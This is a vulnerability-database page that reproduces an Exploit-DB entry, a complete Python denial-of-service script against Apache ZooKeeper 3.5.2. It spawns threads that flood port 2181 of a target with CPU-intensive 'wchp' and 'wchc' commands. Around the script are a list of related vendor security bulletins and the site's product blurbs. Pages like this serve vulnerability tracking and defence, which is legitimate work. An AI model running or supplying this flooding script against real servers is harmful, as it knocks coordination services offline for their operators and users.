Lucene search
+L

Zookeeper 3.5.2 Client - Denial of Service

🗓️ 02 Jul 2017 00:00:00Reported by Brandon DennisType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

Zookeeper Client Denial Of Service attack targeting port 2181 causing CPU spike to 90-100%, utilizing "wchp" command leading to a potential denial of service

Related
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities have been identified in DB2 that affect the IBM Performance Management product
20 May 202014:01
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Db2® Warehouse has released a fix in response to multiple vulnerabilities found in IBM Db2®
19 Apr 202116:53
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Planning Analytics Workspace is affected by security vulnerabilities
24 Sep 202116:54
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Guardium is affected by multiple vulnerabilities (CVE-2017-5637, CVE-2019-0201, CVE-2018-8012, CVE-2023-44981)
8 Oct 202418:03
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple security vulnerabilities have been identified in IBM® DB2® shipped with IBM PureData System for Operational Analytics
29 Apr 202501:54
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multi-Cloud Data Encryption (MDE) is using components with Known Vulnerabilities
17 Jun 201806:07
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM SPSS Analytic Server is affected by multiple vulnerabilities in zookeeper (CVE-2018-8012, CVE-2019-0201, CVE-2023-44981, CVE-2017-5637)
9 Jan 202603:44
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in dependent libraries affect IBM® Db2® leading to denial of service or privilege escalation.
10 Mar 202121:20
ibm
freebsd
FreeBSD
zookeeper -- Denial Of Service
9 Oct 201700:00
freebsd
nessus
Tenable Nessus
Apache ZooKeeper 3.4.0 < 3.4.10 / 3.5.x < 3.5.3 Multiple Vulnerabilities
31 May 201900:00
nessus
Rows per page
#!/usr/bin/python

# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: [email protected]
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client.
#	This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic.
#	The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#	This should effect Linux x86 & x64 as well



import time
import os
import threading
import sys
import socket

numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5" #Change this
port = 2181

def sendCommand(ipAddress, port):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((ipAddress, port))
		s.send("wchp\r".encode("utf-8"))
		s.recv(1024)
		s.send("wchc\r".encode("utf-8"))
		s.close()
	except:
		pass


def runCMD(id, stop, ipAddress, port):
	while True:
		sendCommand(ipAddress, port)
		if stop():
			break
	return

def welcomeBanner():
	banner = """ _______   __  _____               _
|___  | | / / /  __ \             | |
   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __
  / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |
\_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|

                 By: Brandon Dennis
		 Email: [email protected]
				 """
	print(banner)


welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads...")
for i in range(numOfThreads):
	t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
	threads.append(t)
	t.start()
print("Threads are now started...")


while exitStr != "y":
	inpt = input("Do you wish to stop threads(y): ")

	if inpt == "y":
		exitStr = "y"

print("\nStopping Threads...")
stop_threads = True
for thread in threads:
	thread.join()

print("Threads are now stopped...")
sys.exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Oct 2017 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 37.5
EPSS0.72878
45